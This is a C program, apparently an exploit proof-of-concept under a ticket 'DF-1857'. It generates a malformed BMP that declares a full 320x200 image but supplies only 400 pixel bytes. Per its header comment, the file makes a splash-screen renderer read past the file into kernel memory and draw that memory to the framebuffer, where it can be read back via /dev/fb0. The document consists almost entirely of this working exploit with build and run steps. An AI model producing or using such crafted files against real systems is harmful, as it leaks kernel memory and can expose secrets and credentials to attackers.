/* DF-1857: craft a BMP whose declared pixel array exceeds the real file,
 * so the splash renderer reads past the file into kernel memory and paints
 * it to the framebuffer. Read back via /dev/fb0.
 *
 * Build:  cc -o mkbmp mkbmp.c
 * Run:    ./mkbmp bad.bmp
 */
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#pragma pack(push,1)
struct BMPFileHeader { uint16_t bfType; uint32_t bfSize; uint16_t r1,r2; uint32_t bfOffBits; };
struct BMPInfoHeader { uint32_t biSize; int32_t biWidth; int32_t biHeight; uint16_t biPlanes; uint16_t biBitCount; uint32_t biCompression; uint32_t biSizeImage; int32_t biXPelsPerMeter; int32_t biYPelsPerMeter; uint32_t biClrUsed; uint32_t biClrImportant; };
#pragma pack(pop)

int main(int argc, char **argv) {
    const char *out = argc > 1 ? argv[1] : "bad.bmp";
    const int32_t W = 320, H = 200;
    const uint16_t bpp = 8;
    const uint32_t palette_entries = 256;
    const uint32_t bfOffBits = 14 + 40 + palette_entries * 4;  /* = 1078 */
    /* Declare full 320x200 image but only provide ~400 bytes of pixel data */
    const uint32_t real_pixel_bytes = 400;
    struct BMPFileHeader fh = { .bfType = 0x4d42, .bfSize = bfOffBits + real_pixel_bytes,
                                .r1 = 0, .r2 = 0, .bfOffBits = bfOffBits };
    struct BMPInfoHeader ih = { .biSize = 40, .biWidth = W, .biHeight = H,
                                .biPlanes = 1, .biBitCount = bpp,
                                .biCompression = 0 /*BI_RGB*/,
                                .biSizeImage = (uint32_t)(W * H),
                                .biClrUsed = palette_entries, .biClrImportant = 0 };
    FILE *f = fopen(out, "wb");
    fwrite(&fh, sizeof(fh), 1, f);
    fwrite(&ih, sizeof(ih), 1, f);
    /* palette: 256 RGBQUAD entries */
    for (int i = 0; i < 256; i++) {
        uint8_t q[4] = { (uint8_t)i, (uint8_t)i, (uint8_t)i, 0 };
        fwrite(q, 4, 1, f);
    }
    /* pixel data: only 400 bytes instead of 64000 */
    for (int i = 0; i < real_pixel_bytes; i++) {
        uint8_t v = (uint8_t)(i & 0xff);
        fwrite(&v, 1, 1, f);
    }
    fclose(f);
    fprintf(stderr, "wrote %s: declares %dx%d@%d (%u pixel bytes claimed, %u provided)\n",
            out, W, H, bpp, (unsigned)(W*H), real_pixel_bytes);
    return 0;
}
